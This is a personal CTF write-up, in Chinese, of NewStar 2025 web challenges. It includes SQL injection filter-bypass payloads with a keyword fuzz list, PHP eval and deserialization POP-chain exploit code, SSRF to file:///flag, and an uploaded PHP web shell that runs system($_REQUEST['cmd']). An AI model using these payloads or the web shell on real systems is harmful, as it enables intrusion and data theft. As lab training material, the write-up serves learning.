WEB NewStar2025 Web (1月尾會再更新) GHSC 2025-12-13 2025-12-13 作者:ghsc
前言:小弟因比完賽就一直補課和補作業,補完就期末考,所以要寒假才可以复刻。
Week1 1.multi-headach3 什么叫机器人控制了我的头? 一看就知道是robots.txt
2.strange_login 簡單sql注入:
3.黑客小W的故事(1) HTTP 协议: 這題最後超難。
第一關:
1 抓包:看見了POST 傳參 {"count":1} , 修改一下 改成{"count":1000}
第二關: GET ?shipin=mogubaozi POST a=guding , 改DELETE 加上 b = chongzi
第三關:
User-Agent: CycloneSlash/1.0
User-Agent: CycloneSlash/2.0
User-Agent: CycloneSlash/2.0 , DashSlash/1.0
User-Agent: CycloneSlash/2.0 , DashSlash/5.0
4.宇宙的中心是php
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );include "flag.php" ;if (isset ($_POST ['newstar2025' ])){ $answer = $_POST ['newstar2025' ]; if (intval ($answer )!=47 &&intval ($answer ,0 )==47 ){ echo $flag ; }else { echo "你还未参透奥秘" ; } }
POST newstar2025 intval( !=47) 但是( =47)
八进制数 057 = 5*8 + 7 = 47
5.我真得控制你了
刷新和F12,拼手速
1 document .querySelector ('#shieldOverlay' ).remove ();
用BP爆破 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 轻轻松松绕 真的很轻松 源码 <?php error_reporting (0 );function generate_dynamic_flag ($secret ) { return getenv ("ICQ_FLAG" ) ?: 'default_flag' ; } if (isset ($_GET ['newstar' ])) { $input = $_GET ['newstar' ]; if (is_array ($input )) { die ("恭喜掌握新姿势" ); } if (preg_match ('/[^\d*\/~()\s]/' , $input )) { die ("老套路了,行不行啊" ); } if (preg_match ('/^[\d\s]+$/' , $input )) { die ("请输入有效的表达式" ); } $test = 0 ; try { @eval ("\$test = $input ;" ); } catch (Error $e ) { die ("表达式错误" ); } if ($test == 2025 ) { $flag = generate_dynamic_flag ($flag_secret ); echo "<div class='success'>拿下flag!</div>" ; echo "<div class='flag-container'><div class='flag'>FLAG: {$flag} </div></div>" ; } else { echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>" ; } } else { ?> <?php } ?>
6.别笑,你也过不了第二关
第二關要1000000分???????? , 看看完成第一關會怎樣
抓包沒有發什麼 , 應該是JS code了
試一試 score = 1000000 ;
Week2 1.DD加速器 可以用管道符
看看env , 想不到出現了flag
flag{c45bacbe-370b-44cf-aeb7-37a3c7f07873}
2.搞点哦润吉吃吃橘
F12 在控制台寫腳本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 (function ( ) { const expressionElement = document .getElementById ('expressionText' ); const tokenInput = document .getElementById ('tokenInput' ); const submitButton = document .getElementById ('submitBtn' ); const expression = expressionElement.textContent ; const regex = /token = \(\d+ \* (\d+)\) \^ (0x[0-9a-fA-F]+|\d+)/ ; const match = expression.match (regex); if (match && match.length === 3 ) { const multiplier = BigInt (match[1 ]); const xor_value = BigInt (match[2 ]); const currentTimestamp = BigInt (Math .floor (Date .now () / 1000 )); const token = (currentTimestamp * multiplier) ^ xor_value; tokenInput.value = token.toString (); submitButton.click (); console .log ('自动化流程已执行。计算出的 token:' , token.toString ()); console .log ('请检查结果。' ); } })();
3.白帽小K的故事(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 async function fetchload (file ) { try { const res = await fetch ('/v1/onload' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : `file=${encodeURIComponent (file)} ` }); const data = await res.json (); if (data.success ) { console .log ('File content:' , data.success ); } else { console .error ('Error loading file:' , data.error ); } } catch (e) { console .error ('Request failed' , e); } } fetchList ();
dirsearch一下 ,
應該有一個v1/upload 用post 方法的
Content-Type = application/x-www-form-urlencoded
file = urlencode(easty.php)
我剛剛上傳完另外一個文件 , 文件的字被urlencode了, run不了 , 我應該需要改一改一句話木馬
flag{51fe6807-7862-41b3-a4dc-3cd271b02f53}
4.真的是签到诶 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php highlight_file (__FILE__ );$cipher = $_POST ['cipher' ] ?? '' ;function atbash ($text ) { $result = '' ; foreach (str_split ($text ) as $char ) { if (ctype_alpha ($char )) { $is_upper = ctype_upper ($char ); $base = $is_upper ? ord ('A' ) : ord ('a' ); $offset = ord (strtolower ($char )) - ord ('a' ); $new_char = chr ($base + (25 - $offset )); $result .= $new_char ; } else { $result .= $char ; } } return $result ; } if ($cipher ) { $cipher = base64_decode ($cipher ); $encoded = atbash ($cipher ); $encoded = str_replace (' ' , '' , $encoded ); $encoded = str_rot13 ($encoded ); @eval ($encoded ); exit ; } $question = "真的是签到吗?" ;$answer = "真的很签到诶!" ;$res = $question . "<br>" . $answer . "<br>" ;echo $res . $res . $res . $res . $res ;?> 真的是签到吗?真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶!
处理流程如下:
获取 POST 参数 cipher。
对 $cipher 进行 base64_decode 解码。
对解码后的字符串进行 atbash 字母替换(Atbash 密码)。
移除 atbash 结果中的所有空格 (str_replace(‘ ‘, ‘’, …))。
对移除空格后的字符串进行 str_rot13 字母替换(ROT13 密码)。
将最终结果字符串通过 @eval() 执行。
還是沒反應??
有一個exit; 我們要在$encoded後面加一個die;
可以運行了 , 用$IFS 过滤一下
5.小E的管理系统(未复刻)
id是GET
sqlmap完全沒有用, 看來要手注了 ,???
url編碼繞過 ,
/**/被ban了
1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
列名都被ban了 ((((((
用了出題人的字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 length Length + handler like LiKe select SeleCT sleep SLEEp database DATABASe delete having or oR as As -~ BENCHMARK limit LimIt left Left select SELECT insert insERT INSERT right # --+ INFORMATION -- ; ! % + xor <> ( > < ) . ^ = AND ANd BY By CAST COLUMN COlumn COUNT Count CREATE END case '1'='1 when admin' " length + REVERSE ascii ASSIC ASSic select database left right union UNIon UNION " ' & && || oorr / // //* */* /**/ anandd GROUP HAVING IF INTO JOIN LEAVE LEFT LEVEL sleep LIKE NAMES NEXT NULL OF ON | infromation_schema user OR ORDER ORD SCHEMA SELECT SET TABLE THEN UNION UPDATE USER USING VALUE VALUES WHEN WHERE ADD AND prepare set update delete drop inset CAST COLUMN CONCAT GROUP_CONCAT group_concat CREATE DATABASE DATABASES alter DELETE DROP floor join rand() substr( substring( mid( rand( information_schema.tables TABLE_SCHEMA %df concat_ws() concat char( hex( ascii( LIMIT ORD ON extractvalue order CAST() by ORDER OUTFILE RENAME REPLACE SCHEMA SELECT SET updatexml SHOW SQL TABLE THEN TRUE instr benchmark format bin substring ord UPDATE VALUES VARCHAR VERSION WHEN WHERE /* ` , users %0a %0A %0b mid for BEFORE REGEXP RLIKE in sys schemma SEPARATOR XOR CURSOR FLOOR sys.schema_table_statistics_with_buffer INFILE count %0c from %0d %a0 = @ else %27 %23 %22 %20 %0a
200的有:
500的有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 1 length 2 Length 3 + 4 handler 5 like 6 LiKe 7 select 8 SeleCT 9 sleep 10 SLEEp 11 database 12 DATABASe 13 delete 14 having 15 or 16 oR 17 as 18 As 19 -~ 20 BENCHMARK 21 limit 22 LimIt 23 left 24 Left 25 select 26 SELECT 27 insert 28 insERT 29 INSERT 30 right 33 INFORMATION 36 ! 37 % 38 + 39 xor 40 <> 41 ( 42 > 43 < 44 ) 45 . 46 ^ 48 AND 49 ANd 50 BY 51 By 52 CAST 53 COLUMN 54 COlumn 55 COUNT 56 Count 57 CREATE 58 END 59 case 61 when 65 + 66 REVERSE 67 ascii 68 ASSIC 69 ASSic 71 database 72 left 73 right 74 union 75 UNIon 76 UNION 79 & 80 && 81 || 82 oorr 88 anandd 89 GROUP 90 HAVING 91 IF 92 INTO 93 JOIN 94 LEAVE 95 LEFT 96 LEVEL 97 sleep 98 LIKE 99 NAMES 100 NEXT 102 OF 103 ON 104 | 105 infromation_schema 106 user 107 OR 108 ORDER 109 ORD 110 SCHEMA 111 SELECT 112 SET 113 TABLE 114 THEN 115 UNION 116 UPDATE 117 USER 118 USING 119 VALUE 120 VALUES 121 WHEN 122 WHERE 123 ADD 124 AND 125 prepare 126 set 127 update 128 delete 129 drop 130 inset 131 CAST 132 COLUMN 133 CONCAT 134 GROUP_CONCAT 135 group_concat 136 CREATE 137 DATABASE 138 DATABASES 139 alter 140 DELETE 141 DROP 142 floor 143 join 144 rand() 148 rand( 149 information_schema.tables 150 TABLE_SCHEMA 151 %df 152 concat_ws() 153 concat 157 LIMIT 158 ORD 159 ON 160 extractvalue 161 order 162 CAST() 163 by 164 ORDER 165 OUTFILE 166 RENAME 167 REPLACE 168 SCHEMA 169 SELECT 170 SET 171 updatexml 172 SHOW 173 SQL 174 TABLE 175 THEN 177 instr 178 benchmark 179 format 180 bin 181 substring 182 ord 183 UPDATE 184 VALUES 185 VARCHAR 186 VERSION 187 WHEN 188 WHERE 190 ` 193 users 194 %0a 195 %0A 196 %0b 197 mid 198 for 199 BEFORE 200 REGEXP 201 RLIKE 202 in 204 SEPARATOR 205 XOR 206 CURSOR 207 FLOOR 208 sys.schema_table_statistics_with_buffer 209 INFILE 210 count 211 %0c 212 from 213 %0d 214 %a0 216 @ 217 else
403的是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 31 # 32 --+ 34 -- 35 ; 47 = 60 '1'='1 62 admin' 63 " 64 length 70 select 77 " 78 ' 83 / 84 // 85 //* 86 */* 87 /**/ 145 substr( 146 substring( 147 mid( 154 char( 155 hex( 156 ascii( 189 /* 191 192 , 203 sys schemma 215 = 218 %27 219 %23 220 %22 221 %20
使用以下的表構造payload:
1 2 3 4 5 6 1%0AORdeR%0ABy%0A1 1%0AORdeR%0ABy%0A10 1 ORdeR By 10
可以看見有5列 , 用id=-1%0aORDER%0aBY%0a5 測試了一下是可以的
要構造 UNION SELECT 語句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 -1 UNION SELECT * from (SELECT NULL)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e
URL編碼一下: -1%0aUNION%0aSELECT%0a*%0afrom%0a(SELECT%0aNULL)a%0aJOIN%0a(SELECT%0agroup_concat(name)%0afrom%0asqlite_master%0aWHERE%0atype%0aLIKE%0a0x7461626c65)b%0aJOIN%0a(SELECT%0aNULL)c%0aJOIN%0a(SELECT%0aNULL)d%0aJOIN%0a(SELECT%0aNULL)e
試一試:
-1 UNION SELECT * from (SELECT NULL)a
JOIN (SELECT group_concat(name) from sqlite_master)b
JOIN(SELECT NULL)c
JOIN(SELECT NULL)d
JOIN(SETECT NULL)e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -1 UNION SELECT * from (SELECT NULL)a JOIN (SELECT group_concat(name) from sqlite_master)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e
-1%0aUNION%0aSELECT%0a*%0afrom%0a(SELECT%0aNULL)a%0aJOIN%0a(SELECT%0agroup_concat(name)%0afrom%0asqlite_master)b%0aJOIN%0a(SELECT%0aNULL)c%0aJOIN%0a(SELECT%0aNULL)d%0aJOIN%0a(SELECT%0aNULL)e
“node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence”
-1 UNION SELECT * from (SELECT group_concat(name) from sqlite_master)a
JOIN (SELECT NULL)b
JOIN(SELECT NULL)c
JOIN(SELECT NULL)d
JOIN(SETECT NULL)e
1 -1 select * from(SELECT *, floor(1+rand(5)*500000) as a FROM `flag`)t WHERE a = 1
Week3 1.小E的秘密计划 www.zip 為備份文件 , url/ww.zip下載 ,
看以看見index.html是https://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/
進入public-555edc76-9621-4997-86b9-01483a50293e , 有一個login.php ,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php require_once 'user.php' ;$userData = getUserData ();if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $username = $_POST ['username' ] ?? '' ; $password = $_POST ['password' ] ?? '' ; if ($username === $userData ['username' ] && $password === $userData ['password' ]) { header ('Location: /secret-xxxxxxxxxxxxxxxxxxx' ); exit (); } else { echo '登录失败,在git里找找吧' ; exit (); } }
用git bash進行控制
git bash
使用git进行版本控制
查看提交历史:
git log –oneline
$ git diff –name-status 1389b47 5f8ecc0 A tips.txt
$ git checkout 353b98f7c2fe77a5a426bf73576f5113820c4669
1 2 3 4 5 6 7 8 9 10 11 12 Note: switching to '353b98f7c2fe77a5a426bf73576f5113820c4669'. You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by switching back to a branch. If you want to create a new branch to retain commits you create, you may do so (now or later) by using -c with the switch command. Example: git switch -c <new-branch-name> Or undo this operation with: git switch - Turn off this advice by setting config variable advice.detachedHead to false HEAD is now at 353b98f 测试,这个branch会删
$ git diff 1389b4798a8013a1c90fb2d867243d0da18c5175…353b98f7c2fe77a5a426bf73576f5113820c4669 –name-status
$ cat user.php
$ git switch master
換回master mode
$ cat index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <!DOCTYPE html > <html lang ="zh-CN" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Project X - 登录系统</title > <link rel ="stylesheet" href ="../css/style.css" > </head > <body > <div class ="floating-shapes" > <div class ="floating-shape shape-circle" style ="top: 15%; left: 10%;" > </div > <div class ="floating-shape shape-ring" style ="top: 40%; left: 85%;" > </div > <div class ="floating-shape shape-polygon" style ="top: 70%; left: 20%;" > </div > </div > <div class ="login-container" > <div class ="login-box" > <div class ="login-logo" > <h1 > PROJECT X</h1 > <p > 系统访问认证</p > <p > tips: 默认密码使用uuid4生成,不可能被爆破</p > </div > <form id ="login-form" > <div class ="input-group" > <label for ="username" > 用户ID</label > <input type ="text" id ="username" placeholder ="输入您的用户ID" > </div > <div class ="input-group" > <label for ="password" > 密码</label > <input type ="password" id ="password" placeholder ="输入您的密码" > </div > <div class ="login-actions" > <a href ="/" class ="btn" > 返回首页</a > <button type ="button" class ="btn btn-primary" id ="login-btn" > 验证登录</button > </div > <div class ="login-footer" > <p > 版本 5.1.4</p > </div > </form > </div > </div > <script > document .getElementById ('login-btn' ).addEventListener ('click' , function ( ) { const username = document .getElementById ('username' ).value ; const password = document .getElementById ('password' ).value ; fetch ('login.php' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' }, body : `username=${encodeURIComponent (username)} &password=${encodeURIComponent (password)} ` }) .then (response => { if (response.redirected ) { window .location .href = response.url ; } else { return response.text (); } }) .then (text => { if (text) { alert (text); } }) .catch (error => console .error ('Error:' , error)); }); </script > </body > </html >
用POST 方法 :
$ curl -k -X POST “https://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/public-555edc76-9621-4997-86b9-01483a50293e/login.php “ -d “username=admin” -d “password=f75cc3eb-21e0-4713-9c30-998a8edb13de”
1 2 {"success":true,"message":"\u767b\u5f55\u6210\u529f\uff01\u6b63\u5728\u8df3\u8f6 c...","redirectUrl":"/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/"}
{“success”:true,”message”:”登录成功!正在跳转…”,”redirectUrl”:”/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/“}
因為是Mac寫的, 所以下載.DS_Store文件
https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
$ python3 ds_store_exp.pyhttps://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
1 2 [200] https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store [200] https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514
$ BASE_URL=”https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50 “ FILENAME=”ffffllllaaaagggg114514”
1 2 3 4 5 echo "--- Retrieving the Flag ---" curl -k "$BASE_URL/$BASEURL/BASE_URL/ BASEURL/FILENAME" --- Retrieving the Flag --- flag{2ba897a9-1533-432c-9d66-970200498634}
2.mygo!!! 看看html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <!doctype html > <html lang ="zh-CN" > <head > <meta charset ="utf-8" /> <meta name ="viewport" content ="width=device-width,initial-scale=1" /> <title > MyGo</title > <style > :root { --gap : 18px ; --btn-width : 220px ; --btn-padding : 12px 18px ; --btn-radius : 10px ; } *{box-sizing :border-box} html ,body {height :100% ;margin :0 } body { font-family : -apple-system, BlinkMacSystemFont, "Segoe UI" , Roboto, "Helvetica Neue" , Arial; min-height :100vh ; background-image : url ('mygo.jpg' ); background-size : cover; background-position : center; background-repeat : no-repeat; display :flex; align-items :center; justify-content :center; } .layout {width :100% ;max-width :1100px ;padding :40px ;display :flex;justify-content :space-between;align-items :center;} .col {display :flex;flex-direction :column;gap :var (--gap);align-items :flex-start;width :calc (var (--btn-width) + 10px );} .col .right {align-items :flex-end} .ghost-btn { width :var (--btn-width); padding :var (--btn-padding); border-radius :var (--btn-radius); background :transparent; color :#007BFF ; border :2px solid rgba (0 ,0 ,0 ,0.08 ); font-size :16px ; font-weight :600 ; text-align :center; cursor :pointer; transition :transform .16s ease, box-shadow .16s ease, background-color .16s ease; } .ghost-btn :hover { transform :translateY (-4px ); box-shadow :0 8px 20px rgba (0 ,0 ,0 ,0.08 ); background-color : rgba (255 ,255 ,255 ,0.02 ); } @media (max-width :720px ){ .layout {flex-direction :column;gap :24px ;padding :22px } .col {width :100% ;align-items :center} .col .right {align-items :center} .ghost-btn {width :100% ;max-width :420px } } audio {display :block;margin-top :20px ;width :100% ;} </style > </head > <body > <main class ="layout" > <section class ="col left" > <button class ="ghost-btn" data-url ="http://localhost/chunriying.mp3" > 春日影</button > <button class ="ghost-btn" data-url ="http://localhost/mixingjiao.mp3" > 迷星叫</button > </section > <section class ="col right" > <button class ="ghost-btn" data-url ="http://localhost/shichaoban.mp3" > 诗超绊</button > <button class ="ghost-btn" data-url ="http://localhost/???" > flag</button > </section > </main > <audio id ="player" controls autoplay > </audio > <script > const player = document .getElementById ('player' ); document .querySelectorAll ('.ghost-btn' ).forEach (btn => { btn.addEventListener ('click' , () => { const url = btn.getAttribute ('data-url' ); player.src = `index.php?proxy=${encodeURIComponent (url)} ` ; player.play (); }); }); </script > </body > </html >
可以看見它不是直接播放 URL,而是将 URL 作为参数传递给 index.php (player.src = \index.php?proxy=${encodeURIComponent(url)};),这暗示着音频流是通过服务器端的 PHP 脚本进行代理传输的。
用BP抓一下包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET /index.php?proxy=http%3A%2F%2Flocalhost%2F%3F%3F%3F HTTP/2 Host: eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: zh-TW,zh;q=0.9 Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Sec-Ch-Ua-Mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80/ Range: bytes=0- Priority: i
的確是proxy
dirsearch一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |. _ _ _ _ _ | v0.4.3 (||| ) (/(|| (| ) Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292 Target: https://eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80/ [09:18:06] Scanning: [09:19:05] 403 - 38B - /flag.php [09:19:10] 200 - 3KB - /index.php [09:19:10] 200 - 3KB - /index.php/login/ [09:19:34] 403 - 312B - /server-status [09:19:34] 403 - 312B - /server-status/ Task Completed
有一個flag.php
本地人 ,
http://localhost/flag.php?soyorin=file:///flag
who’ssti(味复刻) 本题考查了选手对于 SSTI 最基础的构造方法。
打開WSL 打開文件用docker run 裹面的docker file
1 2 3 docker build -t who-ssti . docker images docker run -d -p 5000:5000 --name ssti-app who-ssti
成功在本地建立了網站了
SSTI 小弟第一次做這個SSTI注入, 零基礎 , 用了一天快速入門flask , 還是不是很懂(本人是猪鼻)
問了問d老師:
想象一下,你是一个网站的开发者。你希望网站的某些页面能够动态地显示用户的名字。比如,用户 小明 登录后,页面上会显示 “欢迎你,小明!”。
你是怎么做到的呢?你可能会写一个模板,就像填空一样:
1 <h1 > 欢迎你,{% raw %}{{ 用户名 }}{% endraw %}!</h1 >
当服务器处理这个页面时,它会看到 {{ ... }},就知道这里需要一个变量。它会找到当前登录的用户名(比如“小明”),然后把这个“空”填上,最终生成一个完整的 HTML 发送给用户的浏览器:
这个过程就叫做 服务器端模板渲染。
探测是否存在 SSTI:
不同的模板引擎语法略有不同,你也可以试试 :
1 {% raw %}{{ 7*7 }}{% endraw %}, {$ 7*7 $}, <%= 7*7 %>
一个常见的方法是使用一个会报错的 payload,从错误信息中判断
输入: {{ “” }}
观察错误信息: 如果错误信息里提到了 “Jinja2”,那很可能就是 Python 的 Jinja2 引擎。如果提到了 “Twig”,可能就是 PHP 的 Twig。
Week4 小羊走迷宫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php include "flag.php" ;error_reporting (0 );class startPoint { public $direction ; function __wakeup ( ) { echo "gogogo出发咯 " ; $way = $this ->direction; return $way (); } } class Treasure { protected $door ; protected $chest ; function __get ($arg ) { echo "拿到钥匙咯,开门! " ; $this -> door -> open (); } function __toString ( ) { echo "小羊真可爱! " ; return $this -> chest -> key; } } class SaySomething { public $sth ; function __invoke ( ) { echo "说点什么呢 " ; return "说: " .$this ->sth; } } class endPoint { private $path ; function __call ($arg1 ,$arg2 ) { echo "到达终点!现在尝试获取flag吧" ."<br>" ; echo file_get_contents ($this ->path); } } if ($_GET ["ma_ze.path" ]){ unserialize (base64_decode ($_GET ["ma_ze.path" ])); }else { echo "这个变量名有点奇怪,要怎么传参呢?" ; } ?>
PHP中关于非法参数名传参问题 可以看見
1 2 3 4 5 6 if ($_GET ["ma_ze.path" ]){ unserialize (base64_decode ($_GET ["ma_ze.path" ])); }else { echo "这个变量名有点奇怪,要怎么传参呢?" ; }
GET傳參 unserialize(base64_decode($_GET[“ma_ze.path”]));
https://blog.csdn.net/mochu7777777/article/details/115050295
第一關 get 參數, Payload如下:
?mo[chu.7=xxx
POP鏈 先找入口出口 , __wakeup() , 首先会调用startPoint的__wakeup,因为它有__wakeup方法
public $direction;
public $sth;
只有這兩個可用的變量
其他都是protected 和 private
1 2 3 (Treasure类的$door和$door和door和 door和chest属性是protected的,不能直接访问。 我们需要使用反射或者手动构造序列化字符串)
我們來POP链构造:
start->direction=say
say->sth = t2
t2……
t1…..
end……
的反轉
省流php代碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class startPoint { public $direction ; } class SaySomething { public $sth ; } class Treasure { protected $door ; protected $chest ; } class endPoint { private $path ; } $endpoint = new endPoint ();$treasure1 = new Treasure ();$treasure2 = new Treasure ();$say = new SaySomething ();$start = new startPoint ();$reflection = new ReflectionClass ($endpoint );$property = $reflection ->getProperty ('path' );$property ->setAccessible (true );$property ->setValue ($endpoint , "./flag.php" );$reflectionTreasure = new ReflectionClass ($treasure1 );$propertyDoor = $reflectionTreasure ->getProperty ('door' );$propertyDoor ->setAccessible (true );$propertyDoor ->setValue ($treasure1 , $endpoint );$propertyChest = $reflectionTreasure ->getProperty ('chest' );$propertyChest ->setAccessible (true );$propertyChest ->setValue ($treasure2 , $treasure1 );$say ->sth = $treasure2 ;$start ->direction = $say ;$payload = serialize ($start );echo "Payload: " . base64_encode ($payload ) . "\n" ;echo "URL: ?ma_ze.path=" . urlencode (base64_encode ($payload )) . "\n" ;?>
可以先試試 say “i am gay” , 看看 start 能不能echo “说点什么呢 “. “说: “.”i am gay”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class startPoint { public $direction ; } class SaySomething { public $sth ; } class Treasure { protected $door ; protected $chest ; } class endPoint { private $path ; } $a = new startPoint () ;$b = new SaySomething () ;$b ->sth = "i am gay " ;$a ->direction = $b ;echo urlencode (base64_encode (serialize ($a )))?>
TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO3M6OToiaSBhbSBnYXkgIjt9fQ%3D%3D
看來沒有打印 , 可以看見say函數是return $this->sth ;
我應該要令它= t2 ,
t2->chest = t1;
t1->door = end
end -> path = “./flag.php”
所以大概是這樣子的:
1 2 3 4 5 6 7 8 9 10 11 12 13 $end = new endPoint (); $t1 = new Treasure (); $t2 = new Treasure (); $say = new SaySomething (); $start = new startPoint (); $end ->path = "./flag.php" ; $t1 ->door = $end ; $t2 ->chest = $t1 ; $say ->sth = $t2 ; $start ->direction = $say ;
但是有一個問題t1 t2 end 不是public 的参數 , 此時我們需要反射或者手动构造序列化字符串
deepseek給了一個例子了 , 抄它的了 , 把變量名字寫清楚如上 , 最後flag在回應裹。
武功秘籍 dirsearch一下:
發現admin admin 能登入 , 有一個上傳文件的地方 :
看看BP抓包能不恃能修改:
Content-Type: application/octet-stream是不能上傳的, 這裹先把它改成text/plain
把文件改成tpl.config , 成功上傳
url/dcr/tpl_import_action.php
還有在新闻中心發現可以上傳文件
先添加分类 1234
添加新闻 , 選擇jpg的payload , payload如下 , 然後改成jpg檔
1 2 3 4 5 6 7 8 9 10 11 <?php @error_reporting (0 ); if (isset ($_REQUEST ['cmd' ])){ echo "<pre>" ; $cmd = ($_REQUEST ['cmd' ]); system ($cmd ); echo "</pre>" ; }else { phpinfo (); } ?>
最後在文件管理器/upload/new/…./找到jpg檔把它重新命名為php檔:
成功fuzz了!!!!!!
ssti在哪里?(味复刻)
https://blog.csdn.net/qq_43409582/article/details/90784223
Week5 眼熟的计算器
這是一個用java寫的計算器 , 看看jar , 改成zip 解壓:
用jadx打開 , 可以找到:
測試一下 java可不可以注入:
Java.type(‘java.lang.String’)
測試全局對象:
Object.keys(this)
Object.getOwnPropertyNames(this)
測試內置對象:
Math.PI
new Date().toString()
JSON.stringify({test: 123})
字符串操作:
‘hello’.length
‘hello’ + ‘ world’
數組操作:
函數操作:
